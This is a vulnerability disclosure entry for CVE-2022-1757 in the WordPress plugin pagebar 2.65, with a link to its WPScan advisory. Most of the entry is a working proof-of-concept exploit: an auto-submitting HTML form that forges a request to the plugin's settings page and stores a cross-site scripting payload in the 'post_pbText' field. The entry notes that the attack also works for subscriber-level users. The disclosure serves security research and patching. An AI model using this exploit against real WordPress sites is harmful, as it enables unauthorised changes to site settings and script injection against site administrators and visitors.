CVE: CVE-2022-1757

Name: pagebar (pagebar)

Version: 2.65

Date: 2022-04-18 14:49:04

Advisory: https://wpscan.com/vulnerability/e648633e-868b-45b2-870a-308a2f9cb7f5

Type: CSRF

Exploit: 


CSRF leading to Stored XSS, also works for subscribers.

<form action="https://example.com/wp-admin/options-general.php?page=pagebar_options.php" method="POST">
    <input type="text" name="option_page" value="pagebar-options">
    <input type="text" name="action" value="update">
    <input type="text" name="post_left" value="2">
    <input type="text" name="post_center" value="5">
    <input type="text" name="post_right" value="2">
    <input type="text" name="post_pbText" value="<img src=x onerror=alert(1)>">
    <input type="text" name="post_standard" value="{page}">
    <input type="text" name="post_current" value="{page}">
    <input type="text" name="post_first" value="{page}">
    <input type="text" name="post_last" value="{page}">
    <input type="text" name="post_connect" value="...">
    <input type="text" name="post_prev" value="Prev">
    <input type="text" name="post_pdisplay" value="never">
    <input type="text" name="post_next" value="Next">
    <input type="text" name="post_ndisplay" value="never">
    <input type="text" name="post_tooltipText" value="Page {page}">
    <input type="text" name="post_tooltips" value="on">
    <input type="text" name="post_auto" value="on">
    <input type="text" name="post_aft_loop" value="on">
    <input type="text" name="post_remove" value="on">
    <input type="text" name="post_stylesheet" value="styleCss">
    <input type="text" name="post_cssFilename" value="pagebar.css">
    <input type="text" name="pagebar2update" value="Optionen speichern">
    <input type="text" name="multipage_inherit" value="on">
    <input type="text" name="multipage_left" value="2">
    <input type="text" name="multipage_center" value="5">
    <input type="text" name="multipage_right" value="2">
    <input type="text" name="multipage_pbText" value="Pages:">
    <input type="text" name="multipage_standard" value="{page}">
    <input type="text" name="multipage_current" value="{page}">
    <input type="text" name="multipage_first" value="{page}">
    <input type="text" name="multipage_last" value="{page}">
    <input type="text" name="multipage_connect" value="...">
    <input type="text" name="multipage_prev" value="Prev">
    <input type="text" name="multipage_pdisplay" value="never">
    <input type="text" name="multipage_next" value="Next">
    <input type="text" name="multipage_ndisplay" value="never">
    <input type="text" name="multipage_tooltipText" value="Page {page}">
    <input type="text" name="multipage_tooltips" value="on">
    <input type="text" name="multipage_stylesheet" value="styleCss">
    <input type="text" name="multipage_cssFilename" value="pagebar.css">
    <input type="text" name="multipage_all" value="on">
    <input type="text" name="multipage_label_all" value="All">
    <input type="text" name="comment_inherit" value="on">
    <input type="text" name="comment_left" value="2">
    <input type="text" name="comment_center" value="5">
    <input type="text" name="comment_right" value="2">
    <input type="text" name="comment_pbText" value="Pages:">
    <input type="text" name="comment_standard" value="{page}">
    <input type="text" name="comment_current" value="{page}">
    <input type="text" name="comment_first" value="{page}">
    <input type="text" name="comment_last" value="{page}">
    <input type="text" name="comment_connect" value="...">
    <input type="text" name="comment_prev" value="Prev">
    <input type="text" name="comment_pdisplay" value="never">
    <input type="text" name="comment_next" value="Next">
    <input type="text" name="comment_ndisplay" value="never">
    <input type="text" name="comment_tooltipText" value="Page {page}">
    <input type="text" name="comment_tooltips" value="on">
    <input type="text" name="comment_stylesheet" value="styleCss">
    <input type="text" name="comment_cssFilename" value="pagebar.css">
</form>
<script>
    document.forms[0].submit();
</script>